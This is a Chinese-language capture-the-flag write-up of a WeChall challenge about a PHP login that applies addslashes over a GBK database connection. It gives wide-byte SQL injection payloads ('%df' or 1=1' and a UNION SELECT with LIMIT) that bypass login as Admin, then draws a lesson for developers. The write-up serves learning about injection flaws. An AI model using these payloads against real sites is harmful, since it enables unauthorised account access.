WeChall上的一道题目 链接
Addslashes (Exploit, PHP, MySQL)# {#addslashes-exploit-php-mysql}
Your mission is to login as Admin.# {#your-mission-is-to-login-as-admin}
You are given the source of the login script also as highlighted version.# {#you-are-given-the-source-of-the-login-script-also-as-highlighted-version}
Good Luck.# {#good-luck}
题目给出了源码
<?php
function asvsmysql_login($username, $password)
{
$username = addslashes($username);
$password = md5($password);
if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) {
return htmlDisplayError('Can`t connect to database.');
}
$db->setLogging(false);
$db->setEMailOnError(false);
$query = "SELECT username FROM users WHERE username='$username' AND password='$password'";
if (false === ($result = $db->queryFirst($query))) {
return htmlDisplayError('Wrong username/password.');
}
if ($result['username'] !== 'Admin') {
return htmlDisplayError('You are logged in, but not as Admin.');
}
return htmlDisplayMessage('You are logged in. congrats!');
}
?>
虽然这个连接数据库的方式俺没怎么见过。。 不过还是提取关键信息
$username = addslashes($username);
$query = "SELECT username FROM users WHERE username='$username' AND password='$password'";
$result['username'] !== 'Admin'
按照常规的手段,当addslashes
与GBK
相遇时,就是为了考察宽字节注入呗。 所以开开心心的构造URL username=-1%df' or 1=1 %23
所以得到了信息"You are logged in, but not as Admin." 这里才发现这个判断不是摆设,也就意味着按照以上的拼接语句,得到的第一条记录,并不是 username为Admin的。 所以需要想办法获取到第二条、第三条的数据。。
可以利用LIMIT来实现这一目的 username=-1%df' union select username from users limit 2,3 %23
(当然偏移量是测试出来的)。。
所以这也可以知道,在开发中,仅仅通过单一某字段来进行校验用户的合法性,是不太安全的。